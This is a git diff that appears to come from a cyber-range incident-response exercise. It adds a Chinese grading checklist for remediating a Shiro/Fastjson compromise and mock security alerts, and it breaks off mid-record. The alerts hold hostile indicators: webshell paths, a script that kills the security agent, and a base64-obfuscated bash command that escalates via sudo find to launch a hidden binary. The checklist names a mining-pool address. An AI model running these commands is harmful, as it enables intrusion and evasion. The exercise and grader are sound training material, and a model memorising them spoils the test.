漏洞修复 `VUL-01` +- **证据**:Shiro 1.2.4 使用默认密钥 +- **检测分**(3 分) + - 发现:建议修复 Shiro 默认密钥漏洞 + - 证据:引用 Shiro 版本和默认密钥 + - 归因:将修复需求与入口漏洞直接关联 +- **方案分**(2 分) + - 正确性:方案层次合理(更换密钥 / 升级版本 / 关闭功能) + - 完整性:方案说明各层修复的优缺点和适用场景 + +### CHK-36:Fastjson 漏洞修复 `VUL-01` +- **证据**:Fastjson 1.2.68 存在 autoType 反序列化漏洞 +- **检测分**(3 分) + - 发现:建议修复 Fastjson autoType 漏洞 + - 证据:引用版本号和已知漏洞 + - 归因:将 Fastjson 作为攻击备用入口与修复优先级关联 +- **方案分**(2 分) + - 正确性:方案建议升级到安全版本或替换为 Jackson + - 完整性:方案包含 autoType 全局禁用配置 + +### CHK-37:CommonsCollections 升级 `VUL-01` +- **证据**:commons-collections-3.2.1 是 Shiro 反序列化的 gadget chain +- **检测分**(3 分) + - 发现:建议升级 CommonsCollections + - 证据:指出 CC 3.x 作为 gadget 的角色 + - 归因:升级 CC 可阻断 gadget chain +- **方案分**(2 分) + - 正确性:方案建议升级到 CC 3.2.2+ 或 4.x(已修复反序列化) + - 完整性:方案说明版本兼容性影响 + +### CHK-38:攻击者 IP 防火墙封禁 `ENT-N01` +- **证据**:从 Tomcat access log 中识别的攻击者 IP +- **检测分**(3 分) + - 发现:建议封禁攻击者 IP + - 证据:引用具体 IP 地址 + - 归因:关联到 Web 攻击流量 +- **方案分**(2 分) + - 正确性:方案给出正确的防火墙规则 + - 完整性:方案包含持久化规则和验证步骤 + +### CHK-39:挖矿外连封禁 `ENT-N02` +- **证据**:挖矿连接 `stratum+tcp://pool.evil-example.invalid:3333` +- **检测分**(3 分) + - 发现:建议封禁矿池出站连接 + - 证据:引用矿池地址和端口 + - 归因:识别为挖矿 C2 通信 +- **方案分**(2 分) + - 正确性:方案给出出站防火墙规则 + - 完整性:方案包含 IP + 端口封禁和规则持久化 + +### CHK-40:漏洞修复方案评估 `Q-07` *仅检测项* +- **证据**:Shiro/Fastjson/CC 三个组件的修复方案 +- **检测分**(3 分) + - 发现:评估修复方案的层次性和完整性 + - 证据:区分最低修复(换密钥)、推荐修复(升级版本)、最佳修复(多层防御) + - 归因:体现对 Java 安全生态的理解深度 +- **方案分**:N/A + +## 维度 6:修复闭环(5 项) + +### CHK-41:漏洞修复验证 `Q-07` +- **证据**:Shiro/Fastjson 修复后应通过验证 +- **检测分**(3 分) + - 发现:建议执行修复后验证 + - 证据:说明验证方法(rememberMe Cookie 不再触发 RCE) + - 归因:体现修复闭环意识 +- **方案分**(2 分) + - 正确性:方案给出验证步骤 + - 完整性:方案包含回归测试建议 + +### CHK-42:Webshell 清理确认 `Q-07` +- **证据**:两个 Webshell 应已清理 +- **检测分**(3 分) + - 发现:建议确认 Webshell 清理完整性 + - 证据:给出扫描所有 webapps 目录的方法 + - 归因:防止遗漏其他 Webshell +- **方案分**(2 分) + - 正确性:方案给出全面 Webshell 扫描命令 + - 完整性:方案建议部署文件完整性监控 + +### CHK-43:服务重启与验证 `Q-07` +- **证据**:Tomcat、MySQL 在修复后应正常运行 +- **检测分**(3 分) + - 发现:建议验证修复未影响业务服务 + - 证据:列出需验证的关键服务 + - 归因:体现业务影响意识 +- **方案分**(2 分) + - 正确性:方案列出关键服务的状态检查命令 + - 完整性:方案涵盖 Tomcat、MySQL,考虑端口监听确认 + +### CHK-44:数据库凭证轮转 `Q-07` +- **证据**:MySQL 密码和 application.yml 凭证已泄露 +- **检测分**(3 分) + - 发现:建议进行凭证轮转 + - 证据:列出需轮转的凭证(MySQL 密码、application.yml 中所有密码) + - 归因:泄露的凭证即使修复漏洞后仍有被重用的风险 +- **方案分**(2 分) + - 正确性:方案给出密码轮转步骤 + - 完整性:方案涵盖 MySQL、Redis、应用凭证的全面轮转 + +### CHK-45:持久化清除完整性验证 `Q-07` +- **证据**:8 种持久化机制应全部清除 +- **检测分**(3 分) + - 发现:建议逐一验证所有持久化已清除 + - 证据:给出每种持久化的验证命令 + - 归因:防止遗漏导致攻击者重新建立控制 +- **方案分**(2 分) + - 正确性:方案列出 8 种持久化的逐项验证方法 + - 完整性:方案建议重启后再次检查 diff --git a/ranges/shiro-fastjson/disk.tar.gz b/ranges/shiro-fastjson/disk.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..89a5a6c648941f4cca13f4d51ac7d8d213636823 --- /dev/null +++ b/ranges/shiro-fastjson/disk.tar.gz @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3a7f67c0ca5d63ba9409ff7d71ae3ea3fa439e5025f092c1177ea8c991bcc186 +size 824072008 diff --git a/ranges/shiro-fastjson/disk.tar.gz.sha256 b/ranges/shiro-fastjson/disk.tar.gz.sha256 new file mode 100644 index 0000000000000000000000000000000000000000..d8047cc7d60d40d5756fe352a021be166fa13e8f --- /dev/null +++ b/ranges/shiro-fastjson/disk.tar.gz.sha256 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8167f1605c5dca584b38b6c6b12fa8f2026da9744e19735093091e9f3c4a5d56 +size 78 diff --git a/ranges/shiro-fastjson/sas-mock/alerts.json b/ranges/shiro-fastjson/sas-mock/alerts.json new file mode 100644 index 0000000000000000000000000000000000000000..1b270100e659800f05a0ecc41f45c2dc69e35ecb --- /dev/null +++ b/ranges/shiro-fastjson/sas-mock/alerts.json @@ -0,0 +1,1431 @@ +{ + "Count": 15, + "CurrentPage": 1, + "PageSize": 50, + "RequestId": "mock-range-shiro-fastjson-alerts", + "SuspEvents": [ + { + "AlarmEventName": "WEBSHELL", + "AlarmEventNameDisplay": "发现后门(Webshell)文件", + "AlarmEventType": "网站后门", + "AlarmEventTypeDisplay": "网站后门", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_file_v2", + "Desc": "检测模型在您的服务器上发现了一个可疑的Webshell文件,可能是攻击者成功入侵网站后为维持权限植入的后门文件。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "在您的系统磁盘上发现了一个可疑文件,建议您先确认文件合法性并进行处理。", + "ValueDisplay": "在您的系统磁盘上发现了一个可疑文件,建议您先确认文件合法性并进行处理。" + }, + { + "NameDisplay": "木马文件路径", + "Type": "text", + "Value": "/opt/tomcat/webapps/ROOT/static/css/error.jsp", + "ValueDisplay": "/opt/tomcat/webapps/ROOT/static/css/error.jsp" + }, + { + "NameDisplay": "文件MD5", + "Type": "text", + "Value": "b38d56b87d61d2cafbe6faf5ab588d52", + "ValueDisplay": "b38d56b87d61d2cafbe6faf5ab588d52" + }, + { + "NameDisplay": "恶意文件SHA256", + "Type": "text", + "Value": "2edfa6270fadac14e1423501743d1b81fc642e684fa7317b147b28f5dc4a1663", + "ValueDisplay": "2edfa6270fadac14e1423501743d1b81fc642e684fa7317b147b28f5dc4a1663" + }, + { + "NameDisplay": "恶意代码高亮显示", + "Type": "highlight", + "Value": "{\"highlight\":{\"ruleVersion\":\"highlight_20210908\",\"ruleId\":600106,\"events\":[[256,317]]},\"eventLevel\":\"high\",\"knowngraph\":{\"ruleVersion\":\"known-graph-v4\",\"ruleId\":600157,\"events\":{\"filter_signature\":[],\"event_name\":[\"发现网站后门\"],\"label\":[],\"label_key\":\"\"}}}", + "ValueDisplay": "{\"highlight\":{\"ruleVersion\":\"highlight_20210908\",\"ruleId\":600106,\"events\":[[256,317]]},\"eventLevel\":\"high\",\"knowngraph\":{\"ruleVersion\":\"known-graph-v4\",\"ruleId\":600157,\"events\":{\"filter_signature\":[],\"event_name\":[\"发现网站后门\"],\"label\":[],\"label_key\":\"\"}}}" + }, + { + "NameDisplay": "首次发现时间", + "Type": "text", + "Value": "2026-04-15 13:20:19", + "ValueDisplay": "2026-04-15 13:20:19" + }, + { + "NameDisplay": "更新时间", + "Type": "text", + "Value": "2026-04-15 13:20:19", + "ValueDisplay": "2026-04-15 13:20:19" + }, + { + "NameDisplay": "木马类型", + "Type": "text", + "Value": "Webshell", + "ValueDisplay": "Webshell" + }, + { + "NameDisplay": "源文件下载", + "Type": "html", + "Value": "下载", + "ValueDisplay": "下载" + }, + { + "NameDisplay": "源文件预览", + "Type": "downloadUrl", + "Value": "https://sas-file-web-20.oss-cn-shanghai.aliyuncs.com/b38d/56b8/7d61/d2ca/fbe6/faf5/ab58/8d52/b38d56b87d61d2cafbe6faf5ab588d52?Expires=1778899132&OSSAccessKeyId=LTAI5tRpsF1P6pXqTBeM2X6w&Signature=7UXdMFPE4P%2B2P%2Fn9LLaUEISztU0%3D", + "ValueDisplay": "https://sas-file-web-20.oss-cn-shanghai.aliyuncs.com/b38d/56b8/7d61/d2ca/fbe6/faf5/ab58/8d52/b38d56b87d61d2cafbe6faf5ab588d52?Expires=1778899132&OSSAccessKeyId=LTAI5tRpsF1P6pXqTBeM2X6w&Signature=7UXdMFPE4P%2B2P%2Fn9LLaUEISztU0%3D" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "WebShell检测是根据文件内容的威胁程度进行打分,这个文件具备了一定的危险功能,本身具有一定的危险特征,但并不完全保证一定是一个网站后门,也可能是一些包含可疑代码的正常网站文件。", + "ValueDisplay": "WebShell检测是根据文件内容的威胁程度进行打分,这个文件具备了一定的危险功能,本身具有一定的危险特征,但并不完全保证一定是一个网站后门,也可能是一些包含可疑代码的正常网站文件。" + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "如果您确定这个文件确定为WEBSHELL,请将恶意代码注释掉。如果您确定为误报,可以在前台选择忽略、加白或者标记为误报按钮。", + "ValueDisplay": "如果您确定这个文件确定为WEBSHELL,请将恶意代码注释掉。如果您确定为误报,可以在前台选择忽略、加白或者标记为误报按钮。" + } + ], + "EventStatus": 1, + "EventSubType": "WEBSHELL", + "HasTraceInfo": true, + "Id": 800000015, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "网站后门-发现后门(Webshell)文件", + "OccurrenceTime": "2026-04-15 13:20:19", + "Stages": "[\"持久化\"]" + }, + { + "AlarmEventName": "WEBSHELL", + "AlarmEventNameDisplay": "发现后门(Webshell)文件", + "AlarmEventType": "网站后门", + "AlarmEventTypeDisplay": "网站后门", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_file_v2", + "Desc": "检测模型在您的服务器上发现了一个可疑的Webshell文件,可能是攻击者成功入侵网站后为维持权限植入的后门文件。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "在您的系统磁盘上发现了一个可疑文件,建议您先确认文件合法性并进行处理。", + "ValueDisplay": "在您的系统磁盘上发现了一个可疑文件,建议您先确认文件合法性并进行处理。" + }, + { + "NameDisplay": "木马文件路径", + "Type": "text", + "Value": "/opt/tomcat/webapps/ROOT/static/js/analytics.jsp", + "ValueDisplay": "/opt/tomcat/webapps/ROOT/static/js/analytics.jsp" + }, + { + "NameDisplay": "文件MD5", + "Type": "text", + "Value": "692560eeb6eb3ff74fd1c3a7bd042afd", + "ValueDisplay": "692560eeb6eb3ff74fd1c3a7bd042afd" + }, + { + "NameDisplay": "恶意文件SHA256", + "Type": "text", + "Value": "1389de60a24a857c987aa5396b867a7ce10f61cf6d3eba3cdcdd1a8eda57f0f8", + "ValueDisplay": "1389de60a24a857c987aa5396b867a7ce10f61cf6d3eba3cdcdd1a8eda57f0f8" + }, + { + "NameDisplay": "恶意代码高亮显示", + "Type": "highlight", + "Value": "{\"highlight\":{\"ruleVersion\":\"highlight_20210908\",\"ruleId\":600106,\"events\":[[280,343]]},\"eventLevel\":\"high\",\"knowngraph\":{\"ruleVersion\":\"known-graph-v4\",\"ruleId\":600157,\"events\":{\"filter_signature\":[],\"event_name\":[\"发现网站后门\"],\"label\":[],\"label_key\":\"\"}}}", + "ValueDisplay": "{\"highlight\":{\"ruleVersion\":\"highlight_20210908\",\"ruleId\":600106,\"events\":[[280,343]]},\"eventLevel\":\"high\",\"knowngraph\":{\"ruleVersion\":\"known-graph-v4\",\"ruleId\":600157,\"events\":{\"filter_signature\":[],\"event_name\":[\"发现网站后门\"],\"label\":[],\"label_key\":\"\"}}}" + }, + { + "NameDisplay": "首次发现时间", + "Type": "text", + "Value": "2026-04-15 13:20:29", + "ValueDisplay": "2026-04-15 13:20:29" + }, + { + "NameDisplay": "更新时间", + "Type": "text", + "Value": "2026-04-15 13:20:29", + "ValueDisplay": "2026-04-15 13:20:29" + }, + { + "NameDisplay": "木马类型", + "Type": "text", + "Value": "Webshell", + "ValueDisplay": "Webshell" + }, + { + "NameDisplay": "源文件下载", + "Type": "html", + "Value": "下载", + "ValueDisplay": "下载" + }, + { + "NameDisplay": "源文件预览", + "Type": "downloadUrl", + "Value": "https://sas-file-web-27.oss-cn-shanghai.aliyuncs.com/6925/60ee/b6eb/3ff7/4fd1/c3a7/bd04/2afd/692560eeb6eb3ff74fd1c3a7bd042afd?Expires=1778899132&OSSAccessKeyId=LTAI5tRpsF1P6pXqTBeM2X6w&Signature=01IToYAzX7RL7Rg7FLSXvlbIIco%3D", + "ValueDisplay": "https://sas-file-web-27.oss-cn-shanghai.aliyuncs.com/6925/60ee/b6eb/3ff7/4fd1/c3a7/bd04/2afd/692560eeb6eb3ff74fd1c3a7bd042afd?Expires=1778899132&OSSAccessKeyId=LTAI5tRpsF1P6pXqTBeM2X6w&Signature=01IToYAzX7RL7Rg7FLSXvlbIIco%3D" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "WebShell检测是根据文件内容的威胁程度进行打分,这个文件具备了一定的危险功能,本身具有一定的危险特征,但并不完全保证一定是一个网站后门,也可能是一些包含可疑代码的正常网站文件。", + "ValueDisplay": "WebShell检测是根据文件内容的威胁程度进行打分,这个文件具备了一定的危险功能,本身具有一定的危险特征,但并不完全保证一定是一个网站后门,也可能是一些包含可疑代码的正常网站文件。" + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "如果您确定这个文件确定为WEBSHELL,请将恶意代码注释掉。如果您确定为误报,可以在前台选择忽略、加白或者标记为误报按钮。", + "ValueDisplay": "如果您确定这个文件确定为WEBSHELL,请将恶意代码注释掉。如果您确定为误报,可以在前台选择忽略、加白或者标记为误报按钮。" + } + ], + "EventStatus": 1, + "EventSubType": "WEBSHELL", + "HasTraceInfo": true, + "Id": 800000014, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "网站后门-发现后门(Webshell)文件", + "OccurrenceTime": "2026-04-15 13:20:29", + "Stages": "[\"持久化\"]" + }, + { + "AlarmEventName": "恶意破坏客户端进程", + "AlarmEventNameDisplay": "恶意破坏客户端进程", + "AlarmEventType": "精准防御", + "AlarmEventTypeDisplay": "精准防御", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "检测到有可疑的进程变动行为破坏客户端正常运行,为防止该行为破坏实时威胁检测能力,已主动拦截该行为,通常黑客为了入侵主机,常常会破坏安全防护措施,请您重点关注该告警,同时请检查服务器当前是否存在其他安全告警、高危漏洞和弱口令风险,若该行为是您主动的操作行为,请忽略该告警。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "防护客户端正常工作,拦截可疑的破坏行为", + "ValueDisplay": "防护客户端正常工作,拦截可疑的破坏行为" + }, + { + "NameDisplay": "异常行为描述", + "Type": "text", + "Value": "该行为尝试关闭客户端进程(已主动拦截该行为)", + "ValueDisplay": "该行为尝试关闭客户端进程(已主动拦截该行为)" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "16644", + "ValueDisplay": "16644" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "/usr/bin/pkill", + "ValueDisplay": "/usr/bin/pkill" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "16597", + "ValueDisplay": "16597" + }, + { + "NameDisplay": "父进程路径", + "Type": "text", + "Value": "/usr/bin/bash", + "ValueDisplay": "/usr/bin/bash" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "bash /tmp/aegis_uninstall.sh", + "ValueDisplay": "bash /tmp/aegis_uninstall.sh" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "检测到有可疑的进程变动行为破坏客户端正常运行,为防止该行为破坏实时威胁检测能力,已主动拦截,通常黑客为了入侵主机,常常会破坏安全防护措施。", + "ValueDisplay": "检测到有可疑的进程变动行为破坏客户端正常运行,为防止该行为破坏实时威胁检测能力,已主动拦截,通常黑客为了入侵主机,常常会破坏安全防护措施。" + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "请您重点关注该告警,同时请检查服务器当前是否存在其他安全告警、高危漏洞和弱口令风险,若该行为是您主动的操作行为,请忽略告警,或者在”功能设置 - 客户端能力配置“中,关闭自保护功能。", + "ValueDisplay": "请您重点关注该告警,同时请检查服务器当前是否存在其他安全告警、高危漏洞和弱口令风险,若该行为是您主动的操作行为,请忽略告警,或者在”功能设置 - 客户端能力配置“中,关闭自保护功能。" + } + ], + "EventStatus": 32, + "EventSubType": "恶意破坏客户端进程", + "HasTraceInfo": true, + "Id": 800000013, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "精准防御-恶意破坏客户端进程", + "OccurrenceTime": "2026-04-15 13:24:15", + "Stages": "[\"影响破坏\"]" + }, + { + "AlarmEventName": "恶意破坏客户端文件", + "AlarmEventNameDisplay": "恶意破坏客户端文件", + "AlarmEventType": "精准防御", + "AlarmEventTypeDisplay": "精准防御", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "检测到有可疑的文件变动行为破坏客户端正常运行,为防止该行为破坏实时威胁检测能力,该行为已被主动拦截,通常黑客为了入侵主机,常常会破坏安全防护措施,请您重点关注该告警,同时请检查服务器当前是否存在其他安全告警、高危漏洞和弱口令风险,若该行为是您主动的操作行为,请忽略该告警。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "防护客户端正常工作,拦截可疑的破坏行为", + "ValueDisplay": "防护客户端正常工作,拦截可疑的破坏行为" + }, + { + "NameDisplay": "异常行为描述", + "Type": "text", + "Value": "该行为尝试删除客户端文件(已主动拦截该行为)", + "ValueDisplay": "该行为尝试删除客户端文件(已主动拦截该行为)" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "16740", + "ValueDisplay": "16740" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "/usr/bin/rm", + "ValueDisplay": "/usr/bin/rm" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "16704", + "ValueDisplay": "16704" + }, + { + "NameDisplay": "父进程路径", + "Type": "text", + "Value": "/usr/bin/bash", + "ValueDisplay": "/usr/bin/bash" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "检测到有可疑的文件变动行为破坏客户端正常运行,为防止该行为破坏实时威胁检测能力,已主动拦截,通常黑客为了入侵主机,常常会破坏安全防护措施。如果您在升级系统过程中触发了此告警,请临时关闭自保护,再执行系统升级操作。", + "ValueDisplay": "检测到有可疑的文件变动行为破坏客户端正常运行,为防止该行为破坏实时威胁检测能力,已主动拦截,通常黑客为了入侵主机,常常会破坏安全防护措施。如果您在升级系统过程中触发了此告警,请临时关闭自保护,再执行系统升级操作。" + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "请您重点关注该告警,同时请检查服务器当前是否存在其他安全告警、高危漏洞和弱口令风险,若该行为是您主动的操作行为,请忽略告警,或者在”功能设置 - 客户端能力配置“中,关闭自保护功能。", + "ValueDisplay": "请您重点关注该告警,同时请检查服务器当前是否存在其他安全告警、高危漏洞和弱口令风险,若该行为是您主动的操作行为,请忽略告警,或者在”功能设置 - 客户端能力配置“中,关闭自保护功能。" + } + ], + "EventStatus": 32, + "EventSubType": "恶意破坏客户端文件", + "HasTraceInfo": true, + "Id": 800000012, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "精准防御-恶意破坏客户端文件", + "OccurrenceTime": "2026-04-15 13:26:38", + "Stages": "[\"影响破坏\"]" + }, + { + "AlarmEventName": "linux可疑命令执行", + "AlarmEventNameDisplay": "可疑命令执行", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "该进程的命令行异常,与正常进程有较大的区别。", + "ValueDisplay": "该进程的命令行异常,与正常进程有较大的区别。" + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": "\t\t 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。\n ", + "ValueDisplay": "\t\t 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。\n " + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "tomcat", + "ValueDisplay": "tomcat" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbm9odXAgL29wdC8uY2FjaGUvLmphdmEtdXBkYXRlciA+IC9kZXYvbnVsbCAyPiYxICYnIFw7}|{base64,-d}|bash", + "ValueDisplay": "bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbm9odXAgL29wdC8uY2FjaGUvLmphdmEtdXBkYXRlciA+IC9kZXYvbnVsbCAyPiYxICYnIFw7}|{base64,-d}|bash" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "18000", + "ValueDisplay": "18000" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "4189", + "ValueDisplay": "4189" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "
-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
\n", + "ValueDisplay": "
-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
\n" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "该进程的命令行与正常进程有较大的区别,有可能与恶意软件或黑客有关。", + "ValueDisplay": "该进程的命令行与正常进程有较大的区别,有可能与恶意软件或黑客有关。" + }, + { + "NameDisplay": "处置建议", + "Type": "html", + "Value": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n", + "ValueDisplay": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n" + } + ], + "EventStatus": 1, + "EventSubType": "linux可疑命令执行", + "HasTraceInfo": true, + "Id": 800000003, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "进程异常行为-可疑命令执行", + "OccurrenceTime": "2026-04-15 13:33:20", + "Stages": "[\"代码执行\"]" + }, + { + "AlarmEventName": "可疑编码命令", + "AlarmEventNameDisplay": "可疑编码命令", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。", + "Details": [ + { + "NameDisplay": "数据来源", + "Type": "text", + "Value": " 进程启动触发检测\n ", + "ValueDisplay": " 进程启动触发检测\n " + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": "该命令行存在高度可疑的编码特征。", + "ValueDisplay": "该命令行存在高度可疑的编码特征。" + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "tomcat", + "ValueDisplay": "tomcat" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbm9odXAgL29wdC8uY2FjaGUvLmphdmEtdXBkYXRlciA+IC9kZXYvbnVsbCAyPiYxICYnIFw7}|{base64,-d}|bash", + "ValueDisplay": "bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbm9odXAgL29wdC8uY2FjaGUvLmphdmEtdXBkYXRlciA+IC9kZXYvbnVsbCAyPiYxICYnIFw7}|{base64,-d}|bash" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "/usr/bin/bash", + "ValueDisplay": "/usr/bin/bash" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "18000", + "ValueDisplay": "18000" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.412.b08-1.el7_9.x86_64/bin/java", + "ValueDisplay": "/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.412.b08-1.el7_9.x86_64/bin/java" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "4189", + "ValueDisplay": "4189" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[18000]  bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbm9odXAgL29wdC8uY2FjaGUvLmphdmEtdXBkYXRlciA+IC9kZXYvbnVsbCAyPiYxICYnIFw7}|{base64,-d}|bash

\n", + "ValueDisplay": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
